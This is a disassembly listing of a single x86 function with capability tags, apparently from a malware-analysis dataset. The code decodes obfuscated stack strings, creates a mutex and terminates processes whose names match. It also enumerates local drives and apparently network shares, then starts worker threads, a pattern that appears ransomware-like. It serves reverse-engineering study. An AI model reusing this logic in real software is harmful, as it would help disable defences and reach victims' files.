Function at 0x405350
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x294
push ebx
push esi
push edi
call fcn.00401000
test eax, eax
jne 0x405370
push 1
call dword [0x41b014]
mov byte [esp + 0x1e], 0
mov edi, 0x7f
mov byte [esp + 0x1f], 0x4f
mov byte [esp + 0x20], 0x1d
mov byte [esp + 0x21], 0x7b
mov byte [esp + 0x22], 0x5e
mov byte [esp + 0x23], 0xe
mov byte [esp + 0x24], 0x4c
mov byte [esp + 0x25], 0x4f
mov byte [esp + 0x26], 0x76
mov al, byte [esp + 0x1f]
cmp byte [esp + 0x1e], 0
jne 0x4053d4
xor esi, esi
nop
mov al, byte [esp + esi + 0x1f]
mov ecx, 0x76
movzx eax, al
sub ecx, eax
imul eax, ecx, 0x23
cdq
idiv edi
lea eax, [edx + 0x7f]
cdq
idiv edi
mov byte [esp + esi + 0x1f], dl
inc esi
cmp esi, 8
jb 0x4053b0
lea eax, [esp + 0x1f]
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 0
push eax
mov dword [esp + 0x54], eax
call dword [0x41b078]
test eax, eax
je 0x4053fc
push 1
call dword [0x41b014]
mov dword [0x41b120], 0
mov dword [0x41b124], 0x41b120
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov ecx, eax
call fcn.00405000
xor edi, edi
mov dword [esp + 0x30], 0
xor ebx, ebx
push edi
mov dword [esp + 0x18], ebx
call dword [0x41b088]
mov esi, eax
test esi, esi
je 0x4054d8
push 0xa
push 0x65
push esi
call dword [0x41b008]
mov ebx, eax
test ebx, ebx
je 0x4054d6
push 0xa
push 0x66
push esi
call dword [0x41b008]
mov dword [esp + 0x10], eax
test eax, eax
je 0x4054d6
push ebx
push esi
call dword [0x41b11c]
push dword [esp + 0x10]
mov dword [esp + 0x10], eax
push esi
call dword [0x41b11c]
mov dword [esp + 0x18], eax
cmp dword [esp + 0xc], edi
je 0x4054d6
test eax, eax
je 0x4054d6
push ebx
push esi
call dword [0x41b10c]
push dword [esp + 0x10]
mov ebx, eax
push esi
call dword [0x41b10c]
mov esi, eax
test ebx, ebx
je 0x4054d6
test esi, esi
je 0x4054d6
push ebx
call dword [0x41b0dc]
push esi
mov ebx, eax
call dword [0x41b0dc]
test ebx, ebx
je 0x4054d6
test eax, eax
je 0x4054d6
mov edi, dword [esp + 0x18]
mov dword [esp + 0x30], ebx
mov ebx, eax
mov eax, dword [esp + 0xc]
mov dword [esp + 0x14], eax
jmp 0x4054ea
xor ebx, ebx
push dword [esp + 0x4c]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 1
call dword [0x41b014]
lea eax, [edi*2 + 0x800]
push eax
push 8
call dword [0x41b080]
push eax
call dword [0x41b0e8]
mov esi, eax
mov dword [esp + 0x10], esi
test esi, esi
jne 0x405513
push 1
call dword [0x41b014]
lea ecx, [edi + 0x3ff]
push ecx
push esi
push edi
push ebx
push 0
push 1
call dword [0x41b010]
test eax, eax
jne 0x40553d
push dword [esp + 0x4c]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 1
call dword [0x41b014]
push str.null
push esi
call dword [0x41b0d8]
neg eax
mov dword [esp + 0x58], 0
mov dword [esp + 0x60], 0
sbb ebx, ebx
lea eax, [esp + 0x58]
mov dword [esp + 0x5c], eax
inc ebx
lea eax, [esp + 0x60]
mov dword [esp + 0x18], ebx
mov dword [esp + 0x64], eax
call fcn.00406170
call fcn.00407c30
call fcn.0040b850
call fcn.0040fcf0
push 0
push 2
mov dword [esp + 0x78], 0x22c
call dword [0x41b0cc]
mov edi, eax
cmp edi, 0xffffffff
je 0x405682
lea eax, [esp + 0x70]
push eax
push edi
call dword [0x41b058]
test eax, eax
je 0x40567b
mov ebx, 0x7f
nop dword [eax]
mov byte [esp + 0x27], 0
mov byte [esp + 0x28], 0x2b
mov byte [esp + 0x29], 0x1b
mov byte [esp + 0x2a], 0x58
mov byte [esp + 0x2b], 0x1b
mov byte [esp + 0x2c], 0xa
mov byte [esp + 0x2d], 0x1b
mov byte [esp + 0x2e], 0x1b
mov byte [esp + 0x2f], 0x1b
mov al, byte [esp + 0x28]
cmp byte [esp + 0x27], 0
jne 0x405624
xor esi, esi
nop word [eax + eax]
mov al, byte [esp + esi + 0x28]
movzx ecx, al
sub ecx, 0x1b
mov eax, ecx
shl eax, 5
sub eax, ecx
cdq
idiv ebx
lea eax, [edx + 0x7f]
cdq
idiv ebx
mov byte [esp + esi + 0x28], dl
inc esi
cmp esi, 8
jb 0x405600
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x98]
push eax
call dword [0x41b0bc]
test eax, eax
je 0x40565f
push dword [esp + 0x78]
push 0
push 1
call dword [0x41b114]
mov esi, eax
test esi, esi
je 0x40565f
push 0
push esi
call dword [0x41b040]
push esi
call dword [0x41b05c]
lea eax, [esp + 0x70]
push eax
push edi
call dword [0x41b0b0]
test eax, eax
jne 0x4055c0
mov ebx, dword [esp + 0x18]
mov esi, dword [esp + 0x10]
push edi
call dword [0x41b05c]
mov eax, dword [esp + 0x30]
push 0x88
mov dword [0x41b168], eax
mov eax, dword [esp + 0x18]
push 8
mov dword [0x41b16c], eax
mov dword [0x41b170], ebx
mov dword [0x41b164], esi
call dword [0x41b080]
push eax
call dword [0x41b0e8]
mov ecx, eax
mov dword [0x41b174], ecx
test ecx, ecx
je 0x4056f0
mov dword [ecx], 0x20
mov eax, 0x80
add ecx, 8
nop
mov byte [ecx], 0
lea ecx, [ecx + 1]
sub eax, 1
jne 0x4056d0
push 0x20
push eax
push eax
push 0xffffffffffffffff
call dword [0x41b0a0]
mov ecx, dword [0x41b174]
mov dword [ecx + 4], eax
xor esi, esi
cmp dword [ecx], esi
jle 0x405726
lea edi, [esi + 8]
nop dword [eax]
push 0
push 0
push ecx
push 0x417df0
push 0
push 0
call dword [0x41b0e4]
mov ecx, dword [0x41b174]
lea edi, [edi + 4]
inc esi
mov dword [edi + ecx - 4], eax
cmp esi, dword [ecx]
jl 0x405700
mov eax, dword [section..data]
xor ecx, ecx
mov dword [esp + 0x30], ecx
mov dword [esp + 0xc], ecx
cmp eax, 0xa
je 0x405743
cmp eax, 0xb
jne 0x4058a9
push 0
lea eax, [esp + 0x54]
mov dword [esp + 0x54], ecx
push 0
mov dword [esp + 0x5c], eax
call dword [0x41b00c]
test eax, eax
je 0x40589c
lea edi, [eax + eax]
push edi
push 8
call dword [0x41b080]
push eax
call dword [0x41b0e8]
mov esi, eax
mov dword [esp + 0x18], esi
test esi, esi
je 0x40589c
push esi
push edi
call dword [0x41b00c]
xor edi, edi
mov ebx, esi
push esi
mov dword [esp + 0x10], edi
call dword [0x41b0c4]
mov dword [esp + 0x14], eax
test eax, eax
je 0x405839
push ebx
call dword [0x41b0a8]
mov esi, eax
cmp esi, 2
je 0x4057c2
cmp esi, 3
je 0x4057c2
cmp esi, 4
je 0x4057c2
cmp esi, 6
jne 0x405818
push 0x10c
push 8
call dword [0x41b080]
push eax
call dword [0x41b0e8]
mov edi, eax
test edi, edi
je 0x405814
push ebx
lea ecx, [edi + 4]
mov dword [edi], esi
push ecx
call dword [0x41b08c]
lea ecx, [edi + 0x104]
mov dword [ecx], 0
mov eax, dword [esp + 0x54]
mov dword [edi + 0x108], eax
mov eax, dword [esp + 0x54]
mov dword [eax], edi
mov edi, dword [esp + 0xc]
inc edi
mov dword [esp + 0x54], ecx
mov dword [esp + 0xc], edi
jmp 0x405818
mov edi, dword [esp + 0xc]
mov eax, dword [esp + 0x14]
lea ebx, [ebx + eax*2]
add ebx, 2
push ebx
call dword [0x41b0c4]
mov dword [esp + 0x14], eax
test eax, eax
jne 0x4057a5
mov esi, dword [esp + 0x18]
push esi
push 0
call dword [0x41b080]
push eax
call dword [0x41b098]
test edi, edi
je 0x4058a4
lea eax, [edi*4]
push eax
push 8
call dword [0x41b080]
push eax
call dword [0x41b0e8]
mov esi, dword [esp + 0x50]
mov ecx, eax
mov dword [esp + 0x30], ecx
test esi, esi
je 0x4058a4
mov edi, ecx
push 0
push 0
lea eax, [esi + 4]
push eax
push 0x417160
push 0
push 0
call dword [0x41b0e4]
mov dword [edi], eax
lea edi, [edi + 4]
mov esi, dword [esi + 0x104]
test esi, esi
jne 0x405874
jmp 0x4058a4
mov dword [esp + 0xc], 0
mov eax, dword [section..data]
cmp eax, 0xa
je 0x4058b7
cmp eax, 0xc
jne 0x405a91
mov esi, dword [0x41b120]
mov dword [esp + 0x10], esi
test esi, esi
je 0x405a4e
nop dword [eax]
mov dword [esp + 0x48], 0
mov dword [esp + 0x44], 0
mov dword [esp + 0x6c], 0
mov dword [esp + 0x68], 0
lea eax, [esp + 0x68]
push eax
lea eax, [esp + 0x70]
push eax
lea eax, [esp + 0x4c]
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x58]
push eax
push 1
push esi
call dword [0x41b0ac]
test eax, eax
je 0x40591f
cmp eax, 0xea
je 0x4058f0
jmp 0x405a3c
mov ebx, dword [esp + 0x48]
mov edi, 1
mov dword [esp + 0x14], edi
cmp dword [esp + 0x44], edi
jb 0x405a35
cmp dword [ebx + 4], 0
jne 0x405a1b
push 0x7d08
push 8
call dword [0x41b080]
push eax
call dword [0x41b0e8]
mov esi, eax
mov dword [esp + 0x18], esi
test esi, esi
je 0x405a1b
mov byte [esp + 0x37], 0
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x78
mov byte [esp + 0x3a], 0x2e
mov byte [esp + 0x3b], 0x78
mov byte [esp + 0x3c], 0x5d
mov byte [esp + 0x3d], 0x78
mov byte [esp + 0x3e], 0x5b
mov byte [esp + 0x3f], 0x78
mov byte [esp + 0x40], 0x2e
mov byte [esp + 0x41], 0x78
mov byte [esp + 0x42], 0x78
mov byte [esp + 0x43], 0x78
mov al, byte [esp + 0x38]
cmp byte [esp + 0x37], 0
jne 0x4059df
xor edi, edi
lea esi, [edi + 0x7f]
mov al, byte [esp + edi + 0x38]
mov ecx, 0x78
movzx eax, al
sub ecx, eax
imul eax, ecx, 0x27
cdq
idiv esi
lea eax, [edx + 0x7f]
cdq
idiv esi
mov byte [esp + edi + 0x38], dl
inc edi
cmp edi, 0xc
jb 0x4059b3
mov esi, dword [esp + 0x18]
mov edi, dword [esp + 0x14]
push dword [esp + 0x10]
lea eax, [esp + 0x3c]
push eax
push esi
call dword [0x41b024]
add esp, 0xc
push dword [ebx]
push esi
call dword [0x41b118]
lea ecx, [esi + 0x7d00]
mov dword [ecx], 0
mov eax, dword [esp + 0x5c]
mov dword [esi + 0x7d04], eax
mov eax, dword [esp + 0x5c]
mov dword [eax], esi
mov dword [esp + 0x5c], ecx
inc edi
add ebx, 0xc
mov dword [esp + 0x14], edi
cmp edi, dword [esp + 0x44]
jbe 0x405936
mov ebx, dword [esp + 0x48]
mov esi, dword [esp + 0x10]
push ebx
call dword [0x41b084]
mov esi, dword [esi + 0x208]
mov dword [esp + 0x10], esi
test esi, esi
jne 0x4058d0
mov esi, dword [esp + 0x58]
test esi, esi
je 0x405a67
mov ecx, esi
call fcn.00416d10
mov esi, dword [esi + 0x7d00]
test esi, esi
jne 0x405a56
mov edx, 0x41b120
lea ecx, [esp + 0x60]
call fcn.00405d00
mov esi, dword [esp + 0x60]
test esi, esi
je 0x405a91
nop dword [eax]
mov ecx, esi
call fcn.00416d10
mov esi, dword [esi + 0x7d00]
test esi, esi
jne 0x405a80
push 0xffffffffffffffff
push 1
push dword [esp + 0x38]
push dword [esp + 0x18]
call dword [0x41b02c]
mov ecx, dword [0x41b174]
xor esi, esi
cmp dword [ecx], esi
jle 0x405acd
nop
push 0
push 0x29a
push 0
push dword [ecx + 4]
call dword [0x41b110]
mov ecx, dword [0x41b174]
inc esi
cmp esi, dword [ecx]
jl 0x405ab0
push 0xffffffffffffffff
push 1
lea eax, [ecx + 8]
push eax
push dword [ecx]
call dword [0x41b02c]
push dword [esp + 0x4c]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
call dword [0x41b014]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10